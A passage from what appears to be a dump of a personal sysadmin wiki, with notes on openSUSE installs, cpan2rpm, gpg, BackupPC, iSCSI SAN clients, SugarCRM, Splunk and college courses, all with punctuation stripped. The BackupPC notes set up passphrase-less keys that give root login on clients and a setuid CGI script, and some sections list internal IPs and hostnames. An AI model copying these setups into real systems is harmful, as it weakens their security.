however suse does not exactly have an etc rc local it does have etc init d boot local but i think things placed there execute before going to run level 1 - that wat it says sample of making the equivlent of an rc local additional install repos to try additional install repos to try additional install repos to try these repos are from these are for doing a network install of opensusue 10 3 us 204 152 191 7 204 152 191 39 128 138 238 174 germany 134 76 12 5 uk 212 219 56 138 post install check list post install check list post install check list 1 verify ip settings and default route and correct use yast to modify them 2 set host name in yast 3 set up repos for oss and disable cd dvd repo if used 4 use yast to install above utilities 5 install f8 hack autoyast kickstart install autoyast kickstart install autoyast kickstart install suse does not use kickstart like rhel but has autoyast you can create and xml template which can be used as a template to install other systems from documentation on this is here quick faq facts answers - autoyast 1 1 how do i invoke an autoinstallation on all suse linux versions the automatic installation gets invoked by adding autoyast to the kernel parameter list so for example adding autoyast will start an automatic installation where the profile with the autoyast configuration gets fetched from the webserver myserver look here for details 1 2 what is an autoyast profile that that\'s the autyast configuration file in the autoyast profile you have to configure how the system should look like that you want to install via autoyast so which software will be installed how is the partitioning what is the root password and so on nearly everything you can configure with yast can also be configured in an autoyast profile the profile format is an ascii xml file 1 3 how do i create an autoyast profile you can use the graphical user interface from the yast control center misc autoinstallation or you can run yast2 autoyast from the commandline or you can use your favourite text xml editor '),(40,'geeko',' '),(41,'correcting perl module dependencies fail',' dependency errors when perl modules are installed sometimes when yum updating specific packages or a whole system update dependencies will fail due to missing perl modules which are in fact installed although present they were not registered with rpm as perl modules are not normally installed as rpms but rather built locally even though the reported perl modules are installed you might get something like -- processing dependency perl crypt passwdmd5 for package syslinux -- processing dependency perl string crc32 for package lftp -- finished dependency resolution error missing dependency perl crypt passwdmd5 is needed by package syslinux error missing dependency perl string crc32 is needed by package lftp perlmod perlmod perlmod update this project looks like a good possibility too but i\'ve yet to check it out cpan2rpm to the rescue cpan2rpm to the rescue cpan2rpm to the rescue solutions are installing cpan2rpm from or from sourceforge etc you can also just build the rpm right on this website syntax to use for this is very simple cpan2rpm crypt passwdmd5 #you may also use the filename of a tar gz perl module this will download the module from cpan and build the rpm note at the end it will tell you exit 0 rpm usr src redhat rpms i386 perl-string-crc32-1 4-1 i386 rpm srpm usr src redhat srpms perl-string-crc32-1 4-1 src rpm -- done -- i prefer to just move the completed rpm to a directory under root for all such perl module rpms so created root tardis perlmodules # mv usr src redhat rpms i386 perl-string-crc32-1 4-1 i386 rpm you may now install the rpms created as normal root tardis perlmodules #rpm -ivh perl-string-crc32-1 4-1 i386 rpm do the same for any others yum reports as missing and viola\' it didn\'t work it didn\'t work it didn\'t work if cpan2rpm can\'t directly download and build the rpm hope is not yet lost use cpan and run cpan get module_name it will tell you the name and location of the tar gz it downloads at this point just exit cpan and run cpan2rpm directly on the tar gz file and it should build the rpm list installed perl modules list installed perl modules list installed perl modules perldoc perllocal will show all installed perl modules there are other solutions too listed at getting the extutils install to function is a bit tricky as this module is often not found and if you do find it you can\'t make an rpm as the author and version information is missing resolve this with root tardis perlmodules #wget root tardis perlmodules #cpan2rpm --author idk extutils-install-1 44 tar gz root tardis perlmodules #mv usr src redhat rpms noarch perl-extutils-install-1 44-1 noarch rpm root tardis perlmodules #rpm -ivh extutils-install-1 44 tar gz root tardis perlmodules #touch listinstalledperlmodules pl into this file copy # usr local bin perl use extutils installed; my instmod extutils installed- new ; foreach my module instmod- modules my version instmod- version module ; print module -- version n ; root tardis perlmodules # perl listinstalledperlmodules pl archive tar -- 1 37_01 archive zip -- 1 23 business onlinepayment authorizenet -- 3 19 cgi -- 3 31 cpan -- 1 9205 class std utils -- 0 0 3 crypt passwdmd5 -- 1 3 crypt ssleay -- 0 57 curses -- 1 14 cwd -- 3 25 dbd multiplex -- 2 04 dbi -- 1 601 dbi shell -- 11 94 devel ppport -- 3 13 digest md5 -- 2 36 digest md5 file -- 0 06 encode -- 2 23 extutils cbuilder -- 0 21 extutils makemaker -- 6 38 of course you may want to chmod 755 this file and place it in usr local bin so you can have ready access to it on-line perl mod to rpm tool on-line perl mod to rpm tool on-line perl mod to rpm tool note you can also make the rpm itself at the website allows you to build the rpm through the web interface for any specified perl module and download the completed rpm directly it is easier to just install cpan2rpm on the target server though as then you don\'t have to transfer the rpm rpm\'s to the server etc manual perl module installation manual perl module installation manual perl module installation if all else fails and you need to install a module manually these sites may help this site contains the steps for manually installing most perl modules including some tips on handling library paths some additional tips on library paths can also be found http www perlhowto com extending_the_library_path here to list the current perl lib search path perl -le \'print foreach inc\' other references other references other references interesting site where a guy used cpanflute on the tar gz to make and source rpm and then built that '),(42,'gpg keys for package validation',' gpg basics you can download the public key for someone from a key server such as or just enter their key id here such as 0x123f8610 you can then download the txt file containing their public pgp key rename it something simple like pubkey this then needs imported to your key ring gpg --import #gpg --keyserver pgpkeys mit edu --recv-key de885dd3 # ----- key id goes here gpg key de885dd3 public key sander striker imported gpg total number processed 1 gpg imported 1 we now can verify the digital signature since we\'ve imported the public key of release manager sander striker # gpg httpd-2 0 49 tar gz asc gpg signature made thu 18 mar 2004 08 33 51 pm sgt using dsa key id de885dd3 gpg good signature from sander striker gpg aka sander striker gpg checking the trustdb gpg no ultimately trusted keys found gpg warning this key is not certified with a trusted signature gpg there is no indication that the signature belongs to the owner primary key fingerprint 4c1e adad b4ef 5007 579c 919c 6635 b6c0 de88 5dd3 these section above from which has some other general gpg tool usage instructions gpg commands gpg commands gpg commands a general how to is at some good commands to know taken from there are with the gnupg system comes a file that acts as some kind of database in this file all data regarding keys with the information that comes with the keys is stored everything until the ownertrust values for more information on that read key signing with gpg --list-keys all present keys will be displayed to see the signatures as well type gpg --list-sigs see key signing for further information to see the fingerprints type gpg --fingerprint you want to see fingerprints to ensure that somebody is really the person they claim like in a telephone call this command will result in a list of relatively small numbers to list the secret keys you type gpg --list-secret-keys note that listing fingerprints and signatures from private keys has no use what soever in order to delete a public key you type gpg --delete-key uid for deleting a secrete key you type gpg --delete-secret-key there is one more important command that is relevant for working with keys gpg --edit-key uid using this you can edit among other things the expiration date add a fingerprint and sing your key although it is too logic to mention for this you need your passphrase when entering this you will see a command line '),(43,'great open source projects',' there is such a tremendous number of truly fantastic open source applications and projects these days it is really amazing the quality of open source software has come a very long way and today you can find very well supported applications that are quite stable and extremely full featured i list some of my favorites here to share with others i encourage everyone to take advantage of these awesome apps and by doing so perhaps assist in their further development or offer your input in their support my favorite open source applications media wikia the very app used to create this wikipedia quite easy to install and configure a central repository for all your notes etc that you can access anywhere and share with others killer sugarcrm extremely full featured contact management software paid support is also available but the forums wiki and video tutorials for user user\'s pretty much provide everything needed to create a robust and extremely scalable and customizable contact management system can integrate with quickbooks through a 3rd party module qbconnect not open source backuppc omg - how very cool want to backup you linux windows and osx systems to a central filer server set up automated backups full and partial ones use a variety of methods - smb rsync tar etc restore or download any backed up file for any system is a few clicks pool similar files to conserve disk space no problem this is awesome software wordpress free blog software with tons of features mythtv build your own dvr including web interface and many advanced features free your self from proprietary digital recorders with limited functionality and go your own way cacti monitoring software lets you set monitor all kinds of devices and their activity and report on them displaying the accumulated data in graphs etc useing rrdtool rancid monitor your cisco devices back up the configs and run a diff between configs to see what changes have been made etc mrtg multi router traffic grapher asterisk free voip phone management system very popular and well supported awesome telephony app trixbox asterisk based parallel project voip management system torrent flux run a torrent server and take advantage of all the bandwidth you have at work then download the completed torrents from your home system set up accounts for others as well very easy interface blender blender is the free open source 3d content creation suite available for all major operating systems under the gnu general public license this is a killer 3d modeling suite with impressive capabilities and and very good documentation and tutorials check out the gallery at for but a small sample xampp from their site many people know from their own experience that it it\'s not easy to install an apache web server and it gets harder if you want to add mysql php and perl xampp is an easy to install apache distribution containing mysql php and perl xampp is really very easy to install and to use - just download extract and start at the moment there are four xampp distributions '),(44,'backuppc installation notes',' backuppc center intro intro intro backuppc is a fantastic app allowing you to backup systems to a server using a variety of protocols - tar rsync scp smb - wether they be linux windows or os x systems depending on the situation the clients themselves may require no additional software -though this depends on the method used etc the documentation for this open source project is quite extensive however here are notes of what i ran into fortunately a colleague and i worked on this together to address the variety of little issues that kept cropping up thanks kyle if you are using debian ubuntu basic installation should be quite straight forward but you still may benefit from some of the notes my centos install required some preparation and config to get it all rolling cavetes cavetes cavetes 1 backups pc is designed with the idea in mind to backup pcs on the same network or be able to resolve the domain name or netbios name of the system thus if you are going to be backing up systems over the internet a home pc to a fileserver you will need to be able to have a domain name assigned to the home ip address several solutions exist for this such as if you have more than one ip at home you can use different domain names or just assign different ports to the job editing the backuppc job to use different ports these port of course must be forwarded in your router to the proper host on your network if you need help with this see 2 although backup pc can use smb to back up windows systems you may find it easier and more secure to use cygwin this will allow windows pcs to run a linux environment and use tools such as rsync and ssh this will encrypt the data transfer and is extremely easy to set up installing and using cygwin is not at all difficult and then the widows systems can be backed up as though the were linux clients installation notes installation notes installation notes these are essentially rough notes of what i ran into mainly so if i have to install this again i have some things to jog my memory preparation there are a few perl modules that have to be installed a suggestion here is to use cpan2rpm which will both download and install the ones you need this also prevents dependency issues in the future when yum apt rpm does not think they are installed when they are see correcting perl module dependencies fail installation just download and unpack the backuppc tar gz file see wasn\'t that easy the setup script is configure pl which will guide you through the install process this will create the the primary configuration file for backuppc which normally would go in # etc backuppc config pl note that one is configure pl and the other is config pl - the former generates the later bwah ha ha when i installed this i failed to realize that the configure pl creates the backuppc_admin script in the directory you specify in my case var www cgi-bin not realizing this my colleague and i ended up editing the blank one wondering why the variables had not been passed to it you might want to make sure you are editing the right one if you modify this file unlikely but still user account & permissions you will need to create an account for backuppc to run as it runs as that user using suid this means 1 the backuppc_admin script in the cgi-bin folder must not be on a partition with the nosuid flag set else it can\'t run as that user 2 backuppc_admin must be modified so that it is owned by backuppc and has the su bit set -r-sr-sr-x 1 backuppc backuppc 4 1k dec 3 16 45 backuppc_admin you can do this with chown backuppc backuppc backuppc_admin chmod s backuppc_admin httpd conf configuration you must allow overrides in httpd conf for the next section htaccess authentication to function just change these settings in httpd conf allowoverride all scriptalias cgi-bin var www cgi-bin uncomment these if necessary and change as appropriate you can have the cgi-bin directory be anywhere - however it must be owned by by root user or else it will not work the script may be displayed rather than executed etc for example my current var www has cgi-bin in it with the permissions #drwxr-xr-x 2 root site1 4 0k jan 14 05 22 cgi-bin apache updating note if you yum update apache it may change the permission on the cgi-bin folder which will break backup pc pc\'s authentication i updated apache and found it only the backuppc_admin script was then only displayed not executed because of this it was tricky as the httpd conf was identical so posed a bit of a mystery as it appeared that cgi simply stopped working good grief htaccess authentication unless you are using the perl module for backuppc you will have to make an htaccess file and configure authentication the htaccess can be placed in the cgi-bin directory where the main backuppc_admin script is placed in my case var www cgi-bin my file looks like this #authgroupfile etc httpd conf group authuserfile etc httpd conf passwd authtype basic authname access require valid-user backuppc you also need to create the password for this user by creating a password file holding the encrypted password that will be authenticated against for example htpasswd -c etc httpd conf passwd backuppc and then type in the password for user backuppc other users may also be added for authentication this same way each person will be able to create and view their own backup job leading to creating admin user and cgi script errors by default config pl does not give the user backuppc admin access if you don\'t set this up then when you log in certain options will be missing from the left hand links such as edit config admin option log files and current queues if these are missing you are not and admin user and you may get an error such as only privileged users can to test this attempt to go to yourhost com cgi-bin backuppc_admin action editconfig if you get this error and don\'t see those links as above you do not have admin rights the documentation on this point is at to configure user backuppc to have these rights simple modify etc backuppc config pl changing the cgi user interface configuration settings section # examples # conf cgiadminusergroup \'admin\'; # conf cgiadminusers \'craig celia\'; # -- administrative users are the union of group admin plus # craig and celia # # conf cgiadminusergroup ; # conf cgiadminusers \'craig celia\'; # -- administrative users are only craig and celia\' # conf cgiadminusergroup ; conf cgiadminusers \'backuppc\'; remember that you need to restart backuppc using the init script for changes to take effect # etc init d backuppc restart making backups making backups making backups because that is what it it\'s all about the etc backuppc hosts file defines the clients to back up pretty self explanatory adding hosts here once they are here they will show in the host pick list in backuppc the rest of the documentation on using backuppc should take you through using it the only other thing you might need to know is that you will need to set up ssh key verification so that backuppc can connect to the clients using key based authentication - i e no manual password entry the basic procedure for that is nota bena see section below clients on other networks if you are attempting to backup a client that is not addressable by name on the local network ssh rsa key authentication create an ssh rsa id key for the user backuppc just become that user and make the key it will be copied to a newly created directory home backuppc ssh on the server root tardis backuppc # su backuppc backuppc tardis pwd home backuppc backuppc tardis ssh-keygen -t rsa generating public private rsa key pair enter passphrase empty for no passphrase just hit enter enter same passphrase again just hit enter your identification has been saved in home backuppc ssh id_rsa your public key has been saved in home backuppc ssh id_rsa pub the key fingerprint is 7c 49 d1 c9 e3 17 de 81 f5 3e d2 fe 5b 3e 24 c1 backuppc tardis timelordz com backuppc tardis the id_rsa pub key created for the backuppc user must be copied to each client client\'s root ssh authorized_keys this allows backuppc to connect to that client as root with no manual password entry required copy this file and append its contents to the authorized_keys file on the client you want to connect to on the server root tardis backuppc # scp home backuppc ssh id_rsa pub root clientserver com root ssh # use the -p portnumber argument to specify a different port to use if ssh is not on port 22 and import it on the client with on the client as root cd root ssh touch authorized_keys #if it does not exist already cat root id rsa pub authorized_keys test they key works by connecting as user backuppc to the client system on the server root tardis backuppc # su backuppc backuppc tardis ssh root clientip last login sun mar 23 14 23 18 2008 from 10 8 0 2 callandor # you can see in the above that first we become the backuppc user then ssh to the client and are logging as root the login is accepted no manual password entry required as the id rsa key is already on the client server and we are now connected as root deleting backups deleting backups deleting backups oddly there is no built in method to cleanly delete backups if you simply manually delete them take care and realize subsequent incremental backups depend on earlier full backups if you look you will find a discussion on this topic on the archive mailing list from sourceforge for backuppc for example there i found a handy script by matthias meyer which handles the deletion of backups quite nicely this and other handy things can also be found at extracting files from compressed backups using cli extracting files from compressed backups using cli extracting files from compressed backups using cli so what do you do if your backuppc install is broken the web gui is unavailable and you need to extract your backups anyway no problem although the gui is extremely handy to restore backups there are also command line scripts which will accomplish the same see the documentation for command line restore options - the below is from the 3 1 documentation copied here as it is extremely handy to know command-line restore options apart from the cgi interface backuppc allows you to restore files and directories from the command line the following programs can be used backuppc_zcat for each file name argument it inflates uncompresses the file and writes it to stdout to use backuppc_zcat you could give it the full file name eg __installdir__ bin backuppc_zcat __topdir__ pc host 5 fc fcraig fexample txt example txt it it\'s your responsibility to make sure the file is really compressed backuppc_zcat doesn\'t check which backup the requested file is from backuppc_zcat returns a non-zero status if it fails to uncompress a file backuppc_tarcreate backuppc_tarcreate creates a tar file for any files or directories in a particular backup merging of incrementals is done automatically so you don\'t need to worry about whether certain files appear in the incremental or full backup the usage is backuppc_tarcreate options files directories required options -h host host from which the tar archive is created -n dumpnum dump number from which the tar archive is created a negative number means relative to the end eg -1 means the most recent dump -2 2nd most recent etc -s sharename share name from which the tar archive is created other options -t print summary totals -r pathremove path prefix that will be replaced with pathadd -p pathadd new path prefix -b blocks blocks x 512 bytes per record default 20; same as tar -w writebufsz write buffer size default 1048576 1mb -e charset charset for encoding file names default value of conf clientcharset when backup was done -l just print a file listing; don\'t generate an archive -l just print a detailed file listing; don\'t generate an archive the command-line files and directories are relative to the specified sharename the tar file is written to stdout the -h -n and -s options specify which dump is used to generate the tar archive the -r and -p options can be used to relocate the paths in the tar archive so extracted files can be placed in a location different from their original location backuppc_zipcreate backuppc_zipcreate creates a zip file for any files or directories in a particular backup merging of incrementals is done automatically so you don\'t need to worry about whether certain files appear in the incremental or full backup the usage is backuppc_zipcreate options files directories required options -h host host from which the zip archive is created -n dumpnum dump number from which the tar archive is created a negative number means relative to the end eg -1 means the most recent dump -2 2nd most recent etc -s sharename share name from which the zip archive is created other options -t print summary totals -r pathremove path prefix that will be replaced with pathadd -p pathadd new path prefix -c level compression level default is 0 no compression -e charset charset for encoding file names default cp1252 the command-line files and directories are relative to the specified sharename the zip file is written to stdout the -h -n and -s options specify which dump is used to generate the zip archive the -r and -p options can be used to relocate the paths in the zip archive so extracted files can be placed in a location different from their original location each of these programs reside in __installdir__ bin clients on other networks clients on other networks clients on other networks backuppc needs to find the client system to be backed up by it it\'s netbios or locally addressable name can you ping the name of the client to be backed up if not you have a problem is the client to be backed up across networks or the internet you have a problem one solution to this is to set up a vpn between the backuppc server and the client for example by using openvpn you can pretty easily establish a vpn directly with the client backuppc can then see it as a local network addressable mahcine and thus be able to back it up see openvpn server for tips on how to set up the vpn troubleshooting troubleshooting troubleshooting localhost backups there are a few special considerations when having backuppc back up directories on the server itself this might be useful for example to back up the local etc or htdoc folder etc you must set up ssh key authorization for the user backuppc create the rsa_id pub key for this user and copy it to root root\'s ssh authorized_keys files test this make sure you can as user backuppc connect via ssh to localhost and not need to enter a password root tardis # su backuppc backuppc tardis root ssh root localhost last login wed mar 26 17 50 00 from localhost root tardis # tarclientpath bin gtar gtar is likely a symlink to bin tar tarclientcmd sshpath -q -x -n -p 1971 -l root host env lc_all c tarpath -c -v -f - -c sharename --totals 2008-03-25 21 00 03 incr backup started back to 2008-03-13 20 00 03 backup #40 for directory etc 2008-03-25 21 00 06 got fatal error during xfer tar exited with error 65280 status 2008-03-25 21 00 11 backup aborted tar exited with error 65280 status pre backing up clients over vpn example rsync command running usr bin ssh -q -x -l root home usr bin rsync --server --sender --numeric-ids --perms --owner --group -d --links --hard-links --times --block-size 2048 --recursive --ignore-times home paracelsus note that port is not specified on the vpn this is not required as ssh is on port 22 but the router has port 1971 forwarded to port 22 '),(45,'backuppc',' '),(46,'iscsi san accounts',' __forcetoc__ login info login info login info see sago wiki adding a customer adding a customer adding a customer 1 add the ip address customer will be connecting from general --- local networks 2 create the volume for storage volumes --- create new volumes volume group external filesystem type iscsi 3 ensure customer customer\'s ip is allowed for this volume volumes -- list of existing volumes click on edit for the volume you want to assign the ip s for important while you can allow multiple ips here for allowing different clients to connect to the same target and while this will appear to work - do not do this it will result in file corruption 4 get the target id for use in configuring client status --- iscsi this and the name of the san nas01 tpa sagonet net are all you need note you do not have to create and groups or users only the above steps are required red hat linux client config red hat linux client config red hat linux client config yum install iscsi-initiator-utils edit the etc iscsi conf to add # -------------------------- # discovery address category # -------------------------- discoveryaddress nas01 tpa sagonet net # -------------------- # target name category # -------------------- targetname iqn 2006-01 com openfiler external client1819-1 #obviously this must match the target for the client from iscsi status page start the daemon with etc init d iscsi restart the drive will now show up as the next available device sdb sdc etc you may now fdisk format and mount it just as though it was a physical local disk debian linux client config debian linux client config debian linux client config apt-get install open-iscsi run the following command after installing open-iscsi iscsiadm -m node -t targetname -p 66 111 32 108 3260 -l #replace targetname with iqn 2006-01 com openfiler external client1819-1 #obviously this must match the target for the client from iscsi status page start the daemon with etc init d open-iscsi restart the drive will now show up as the next available device sdb sdc etc you may now fdisk format and mount it just as though it was a physical local disk firewall info firewall info firewall info you may need to add port 3260 for ingress egress this is the connections it uses root mail init d # netstat -natlp grep 66 111 32 108 tcp 0 0 63 246 155 74 56721 66 111 32 108 3260 established - tcp 0 0 63 246 155 74 56719 66 111 32 108 3260 established 31178 iscsid windows client config windows client config windows client config figure it out and put it in here '),(47,'sugarcrm install and admin notes',' database structure & changes drop down pick list items are not stored in a table they are values in custom include languages en_us lang php blank values are usually not correctly saved as default drop down values mysql tools & syntax mysql tools & syntax mysql tools & syntax great mysql syntax and question sites copy field from one table to a field in another table update table_1 inner join table_2 on table_2 user_id table_1 user_send_id set table_1 sender_full_name table2 full_name to copy all data from one field to another something like update student_db student client student set student_db student activities client student activities where student_db student unique_key client student unique_key copy all data from one field to another update tabel1 set \'field1\' \'field2\' where clause simple search and replace on a text field update mytable set mytextfield replace mytextfield \'pattern\' \'replacement\' ; case sensitive queries you have to select a collation for the field that is case sensitive oddly the utf8_bin is not apparently for binary data but is however case sensitive select from accounts_cstm where tc_mail_c collate utf8_bin like \'yes\'; select from accounts_cstm where tc_mail_c collate utf8_bin like \' y \'; currently you can build mysqld with option --with-extra-charsets complex --with-experimental-collations and use collation utf8_general_cs select using keywords or starting with select from accounts where name like \' keyword \'; select from accounts where name like \' a\'; records starting with a select from accounts_cstm where tc_mail_c collate utf8_bin like \' y \'; for case sensitive keyword search searching mysql & sugarcrm strings select from accounts where name like \' by \' order by accounts name asc matches the same results from sugar if you search family name for by importing accounts importing accounts importing accounts yea if it were only that easy ensure that your php ini and bump these setting way way up temporarily for the import max_execution_time 120 ; maximum execution time of each script in seconds max_input_time 180 ; maximum amount of time each script may spend parsing request data memory_limit 500m ; maximum amount of memory a script may consume 8mb also you may need to break up the exported csv file into chunks i was able to import 4 5mb files about 3300 records at a time trying to do them all 9000 just froze sugar an easy way in linux to do this is split -l 3000 filename scv you will need to copy over row 1 from the first file to the subsequent ones so the field mappings are available in all the files verify that any required database fields that are not being mapped are marked as not required otherwise the import will fail each required field must be mapped to an import field so just turn off the required flag for those fields and turn them back on after you can monitor the import by watching sugarcrm log see section on logging enable logging and check to see if you are getting messages such as mon jun 30 16 46 09 2008 915 6926 info sugarcrm - import not imported t&c --- sugarcrm field mapping notes t&c fields sugarcrm fields last name name first nmae primary contact primary address1 local address primary address2 billing address2 secondary address1 permanent address secondary address2 shipping address2 control characters you do not have to remove quotes from the exported csv input file but should you think you need to #sed \'s g\' datahead10noquote csv then there are some nice k control characters that cause the some fields to bleed together these can be changes with sed -e s k blah sed -e s l file1 file2 make sure you enter ctrl v before typing the letter l ctrl v causes the next character to be interpreted as a control character in this case \' ctrl v l\' shows up as \' l\' you can also use tr tr \' 013\' \' 012\' file out tr \' 013\' \' 012\' chown apache site1 config php chown -r apache site1 modules chown -r apache site1 data chown -r apache site1 custom chown -r apache site1 cache chown -r apache site1 sugarce-upgrade-4 5 1-to-5 0 0a chown -r apache site1 sugarce-upgrade-4 5 1-to-5 0 0a chown -r apache site1 vcard php chown -r apache site1 vcal_server php chown -r apache site1 themes chown -r apache site1 include chown -r apache site1 patch4 5 1g chown -r apache site1 scripts chown -r apache site1 log4php chown -r apache site1 jscalendar chown -r apache site1 install chown -r apache site1 examples chown -r apache site1 moduleinstall chown -r apache site1 soap usefull sugarcrm sites usefull sugarcrm sites usefull sugarcrm sites '),(48,'st pete college compnet as classes',' semester projection counselling and advisement 727 394-6137 electives - pick two of cet 1172c - computer support technician 3 cgs 1100 - microcomputer applications 3 cis 2321 - systems analysis and design 3 man 2340 - human factors in supervision 3 cet 2940 - internship 3 fall cgs 1060t - online computer competency test is that the same as the computer competency test previously called iskills lis1002 on the report needed test out of 1171c computer repair essentials required test out of cgs-1100 get on internship for cet 2940 take man 2582 - introduction to project management required contemporary project management w 2 cds author kloppenborg edition isbn 9780324382389 193 cgs-1100 bndl ms office 2007 intro concepts techniques prem video-ll author shelly edition isbn 9780495957188 167 or cis 2321 - systems analysis and design and cultural anthropology or amh 2010 or euh 1000 etc done humanities class rel-2300 world religions christy davis world world\'s religions isbn 9780205675111 author young edition 3rd 53 test out of cet 1171c - computer repair essentials req cet 1172c - computer support technician elective credit would complete last 3 needed cts 2106 - fundamentals of the linux unix operating environment not required for cisco but use as an elective man 2582 - introduction to project management completed completed completed fall math - mgf 1106 tues thurs evening php mysql cop1842 mon wed evenings c for business cgs-2402 online composition - enc 1101 1121h spring financial act acg 2021 - class 1802 - julie anne j adamich-scheblein accounting pkg author kimmel edition isbn 9780470540541 phi 1600 phi 1602h derzypolski thomas w ethics applied edition 6 0 author st pete college edition 5th isbn 9780558054540 other classes cts 2940 - internship cts 2949 - co-op work experience microcomputer apps cgs 1100 elec managerial act acg 2071 only needed for 4 year transfer woh-2040 or woh-2040h the 20th century was another social science class but appears seldom offered ant-2410 satisfies requirement advanced php & mysql php advanced isbn 9780321376015 author ullman edition 2nd cisco competed cisco competed cisco competed spring term 2006-2007 375 cet 1600 network fundamentals cet 1610 router technology cisco fall term 2007-2008 385 cet 2615 advanced router tech cisco spring term 2007-2008 390 cet 2620 project based learning cisco summer term 2007-2008 395 cet 2660 fund cisco network security i cet 2682 fundmtls voice over ip voip fall term 2008-2009 400 cet 2670 scalable routng protcls&ipv6 b cet 2856 csco sw wireless netwk changes cet 2685 - implementing secure converged wans this is now required whereas previously it was cet 2660 fund cisco network security i but then the school could not teach the security class anymore as cedric left honors info honors info honors info what requirements should i meet to graduate with an honors college diploma or certificate a minimum of 18 credit hours of designated honors coursework with a cumulative grade point average of 3 3 or better in each honors course and a cumulative grade point average of 3 3 or above to graduate with an honors college diploma to graduate with an honors college certificate students must meet the above grade point average requirements and complete 11 credit hours of honors coursework resources resources resources - old degree no longer valid substitute end of the above link for quick access to class descriptions the bookstore hours are here general education courses 18 credits general education courses 18 credits general education courses 18 credits enc 1101 - composition i or honors 3 spc 1600 - introduction to speech communication 3 or spc 1600h spc 1016 spc 1060 or spc 1060h humanities fine arts approved course 3 mathematics - one college-level course with a mac map mas mgf mtg or sta prefix 3 mat 1033 intermediate algebra navab saied isbn 978-061865395-9 intermediate algebra an applied approach 7th edition lockwood houghton mifflin - hmco com mac 1105 college algebra - needs mat 1033 intermediate algebra mgf 1106 math for liberal arts - need mat 1033 social & behavioral sciences approved course 3 phi 1631 - studies in professional ethics 3 or phi 1600 phi 1602h phi 2635 or phi 2649 computer information literacy competency requirement support courses 21 credits support courses 21 credits support courses 21 credits acg 2021 - financial accounting 3 full semester - not on-line 28 29 30 2672 cet 1171c - personal systems repair i pc repair i 3 cgs 1263 - local area network concepts 3 full semester - online 268 geb 1011 - introduction to business full semester - classroom or blended hargiss john class# 1771 hargiss kathleen class# 2163 intro to business old class gaspar - 0-547-08312-2 understanding business nickels 8th edition select 9 credits cet 1172c - personal computer systems repair ii 3 cgs 1000 - introduction to computers and programming 3 full semester online - 1368 cgs 1100 - d microcomputer applications 3 john p kurnik looks way easy full semester online walthall mary s - think she may be done now walthall mary spcollege edu ron greenwald could be okay mixed reviews cis 2321 - systems analysis and design 3 full semester online therezita ortiz - gives loads of work cop 2340 - fundamentals of the linux unix operating environment 3 other classes of interest other classes of interest other classes of interest summer 09 classes 1653 cop 1842 developing web sites php mysql 3 lec open 24 6 00pm 8 50pm mw cl-bt 205 05 18 2009 7 24 2009 yourth bradley j cgs 2402 class# 1504 - online programming in c for business westberg darlene m or amy patterson better for westberg class verify for patterson patterson\'s starting out w c from control etc w cd new 123 75 available to order author gaddis edition 6th isbn 9780321545886 class 623 online or class 1888 sp-te 229 blended 05 18 2009 - 07 24 2009 cts 2311 linux unix security using open source tools may not be offered any more books books books books books books books books books mathematics in our world author bluman isbn 9780073311821 ordered accounting pkg author kimmel isbn 9780470540541 christy davis stortz christy spcollege edu world world\'s religions set txt time spec ed w cd author young edition 3rd isbn 9780205675111 '),(49,'oxford english dictionary and wikipedia',' should you trust a wiki for academic research would you trust the oxford english dictionary oed for its accuracy considered the definitive dictionary of the english language it is the final arbiter in definitions etymology and usage yet by its very history and the nature of its compilation it was exceeding similar to a wikipedia the general consensus of responses to this assignment show very unfavorable ideas regarding the use of a wiki as a research tool the primary concerns being 1 it is a compilation of many unverified sources 2 these sources are themselves not academically accredited or verified 3 anyone can add to change or influence the information interestingly enough the compilation of the oed was much the same individuals often anonymous and with no academic credentials sent in tens of thousands of entries along with definitions and examples of the usage of that work in literature as it so turns out a leading contributer to the compilation project was factually a convicted criminal submitting his entries from custody in an insane asylum from the professor and the madman a tale of murder insanity and the making of the oxford english dictionary when the editors of the oxford english dictionary put out a call during the late 19th century pleading for men of letters to provide help with their mammoth undertaking hundreds of responses came forth some helpers like dr w c minor provided literally thousands of entries to the editors but minor an american expatriate in england and a civil war veteran was actually a certified lunatic who turned in his dictionary entries from the broadmoor criminal lunatic asylum simon winchester has produced a mesmerizing coda to the deeply troubled minor minor\'s life a life that in one sense began with the senseless murder of an innocent british brewery worker that the deluded minor believed was an assassin sent by one of his numerous enemies the volunteers contributing to the compilation were not themselves necessarily of literary achievement or recognition yet made decisions which directly influenced the finished work akin to anonymous wiki users determining content despite the above this co-operative compilation project with its tens of thousands of submissions by some known other anonymous and at least one insane person resulted in the creation of the oed described as the accepted authority on the evolution of the english language over the last millennium from using a wiki as a primary or credible source is well established as a bad practice as of course described on they can be a fantastic place to begin research but are not an end to research themselves n b the only links used in this article are wikipedia com and the www oed com - two birds of a feather but of course you should research it for yourself if you like you can view this article and share it with others at '),(50,'splunk log analyzer',' splunk overview splunk is a pretty killer tool that lets you search through whatever logs you specify it essentially creates an indexed database of log entries which you can then search against and analyze additional tools include a time line view of log activity you can zoom in and out out and several other nifty components installation installation installation the install documentation on the official site is so good there is really little to add find the full instructions at in the documentation section you may however want to review the before you install section and understand the option of installing as the root or non-root user there are rpm and deb packages to install from this will be installed as the root user and this makes install a very easy process once installed you may start splunk with opt splunk bin splunk start once started point your browser to and splunk the depths of your server logs where no man may have gone before things to know things to know things to know the free version does not include authentication so once the service is stared anyone who goes to port 8000 will also be able to see you logs you might prevent this with some creative solutions or just turn splunk off when you are doing splunking about or you can turn off the web interface enable ssl etc see the admin section when you log in important note you want to install it some place where you are going to have a few gigabytes of space so if you install it in the default opt which perhaps is under root on your system and you have a small root directory you may run out of room easy enough - just make opt splunk a symlink to a directory on a partition you have plenty of room on maybe like home set this up before you install so that your symlink is already in place root tardis opt # pwd opt root tardis opt # ls -lha total 12k lrwxrwxrwx 1 root root 24 dec 19 06 54 splunk - mybigpartition splunk running as a non-root user create a user that will run splunk ensure the various splunk folders are accessible to and owned by this user you most likely can just assign ownership of everything to the user splunk with root tardis splunk # chown -r splunk splunk opt splunk test that this user can run splunk sudo -h -u splunk opt splunk bin splunk start you will see that splunk is now running as user splunk and not root root tardis splunk # ps aux grep splunk splunk 14793 0 0 2 2 17272 11460 s 10 43 0 00 python fileserver tools splunk bin twistd --pidfile fileserver tools splunk var run splunk splunkweb pid --python fileserver tools splunk etc splunkweb tac --logfile fileserver tools splunk var log splunk web_access log root 15266 0 0 0 0 1664 444 pts 0 s 10 48 0 00 grep splunk init d scripts make splunk run automagically by executing opt splunk bin splunk enable boot-start -user splunk this will make an init script and place it in etc init d however i had trouble with the script properly working so i changed each section as follows splunk_start echo starting splunk # su splunk -c splunk_home bin splunk start # ---- does not pass path right or run sudo -h -u 